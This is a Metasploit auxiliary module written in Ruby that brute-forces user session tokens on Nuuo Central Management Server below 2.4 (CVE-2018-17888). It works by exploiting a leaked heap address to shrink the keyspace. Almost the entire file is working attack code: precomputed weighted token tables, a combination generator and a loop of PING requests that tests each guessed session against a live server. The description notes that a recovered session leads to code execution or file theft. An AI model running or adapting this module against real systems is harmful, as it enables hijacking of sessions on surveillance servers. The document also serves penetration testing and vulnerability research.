## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'benchmark' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Nuuo include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'Nuuo Central Management Server User Session Token Bruteforce', 'Description' => %q{ Nuuo Central Management Server below version 2.4 has a flaw where it sends the heap address of the user object instead of a real session number when a user logs in. This can be used to reduce the keyspace for the session number from 10 million to 1.2 million, and with a bit of analysis it can be guessed in less than 500k tries. This module does exactly that - it uses a computed occurrence table to try the most common combinations up to 1.2 million to try to guess a valid user session. This session number can then be used to achieve code execution or download files - see the other Nuuo CMS auxiliary and exploit modules. Note that for this to work a user has to be logged into the system. }, 'Author' => [ 'Pedro Ribeiro ' # Vulnerability discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2018-17888' ], [ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-18-284-02' ], [ 'URL', 'https://seclists.org/fulldisclosure/2019/Jan/51' ], [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/NUUO/nuuo-cms-ownage.txt' ] ], 'Platform' => ['win'], 'DisclosureDate' => '2018-10-11')) deregister_options('SESSION', 'USERNAME', 'PASSWORD') end # These tables were generated by doing thousands of requests to a NUUO CMS Server and collecting the responses. # Table id: hex-nu-mod # 2621440 total combinations for both 1.X and 2.X versions # 2.X versions only have 1048576 combinations, and this table will run through them first WEIGHTED_ARRAY_7 = ['2', '1'], ['4', '6', '5', '7', '8', '2', '0', '1', 'f', 'e'], ['1', '6', '0', '8', 'd', '7', 'c', 'e', '2', 'b', 'f', '3', '5', '4', 'a', '9'], ['d', '6', '4', '5', 'f', '0', '8', '7', 'a', '3', '1', 'b', 'c', 'e', '9', '2'], ['3', 'e', 'f', '1', 'c', '5', '9', 'd', '8', '6', '0', '4', 'a', '2', 'b', '7'], ['d', '4', '2', 'b', '3', '6', '8', '1', 'a', '7', 'f', 'e', '0', '9', '5', 'c'], ['8', '0'] # 189000 total combinations # Only tested (only applies?) to 2.X versions # These are only tried if WEIGHTED_ARRAY_7 fails WEIGHTED_ARRAY_6 = ['9', 'a'], ['7', 'c', '6', 'f', 'e', 'a', 'd', '9', '4', '5', '3', '2', 'b', '0', '8'], ['7', 'b', '6', 'd', 'a', '3', '4', 'f', '5', '1', '8', 'e', 'c', '2'], ['3', '1', 'c', 'f', 'd', '4', 'b', 'a', '6', '2', '5', 'e', '8', '9', '0'], ['3', '6', '7', 'b', 'e', '9', '2', 'f', '4', '1', 'c', 'a', '0', 'd', '8'], ['0', '8'] def session_number_list(weighted_array) # Let's calculate all the possible combinations length = Array.new(weighted_array.length) for i in (0..weighted_array.length-1) length[i] = weighted_array[i].length end counter = Array.new(weighted_array.length) for i in (0..weighted_array.length-1) counter[i] = 0 end total = 1 for len in length total *= len.to_i end print_status("Generating #{total} session tokens") final_list = Array.new # code below taken from https://gist.github.com/Yengas/9010715 (total).times { if weighted_array.length == 6 final_list << weighted_array[0][counter[0]] + weighted_array[1][counter[1]] + weighted_array[2][counter[2]] + weighted_array[3][counter[3]] + weighted_array[4][counter[4]] + weighted_array[5][counter[5]] elsif weighted_array.length == 7 final_list << weighted_array[0][counter[0]] + weighted_array[1][counter[1]] + weighted_array[2][counter[2]] + weighted_array[3][counter[3]] + weighted_array[4][counter[4]] + weighted_array[5][counter[5]] + weighted_array[6][counter[6]] else # assume size == 8 final_list << weighted_array[0][counter[0]] + weighted_array[1][counter[1]] + weighted_array[2][counter[2]] + weighted_array[3][counter[3]] + weighted_array[4][counter[4]] + weighted_array[5][counter[5]] + weighted_array[6][counter[6]] + weighted_array[7][counter[7]] end # Find value of current combination by concatenating corresponding values of counters in the inner-arrays # Then we increment the value of the counter so we go on to the next combination. for index in (counter.length - 1).downto(0) # From (counter array's length - 1) to 0 if counter[index] + 1 < length[index] then # If counter index can be incremented counter[index] += 1; # Increment the counter index break; # Stop the incrementation/go to the next combination printing/incrementing. end counter[index] = 0; # Assign current counter index to zero and try incrementing the next counter index. end } full_list = Array.new final_list.each { |x| full_list << x.to_i(16) } return full_list end def session_bruteforce_list(weighted_array) list = session_number_list(weighted_array) for session in list req = client.request_ping({ 'method' => 'PING', 'user_session' => session }) # module fails when shutdown/close lots of connections # create own connection and dont call close conn = client.connect(temp: true) res = client.send_recv(req, conn) @counter += 1 if res && res.status_code == 200 return session end end return nil end def run connect @counter = 0 print_status('Bruteforcing session - this might take a while, go get some coffee!') session = nil time = Benchmark.realtime { session = session_bruteforce_list(WEIGHTED_ARRAY_7) unless session print_error('Failed to bruteforce, trying with the less likely numbers as a last resort...') session = session_bruteforce_list(WEIGHTED_ARRAY_6) end } unless session fail_with(Failure::Unknown, 'Failed to bruteforce user session.') else print_good("Found valid user session: #{session}") print_status("Time taken: #{time} seconds; total tries #{@counter}") end end end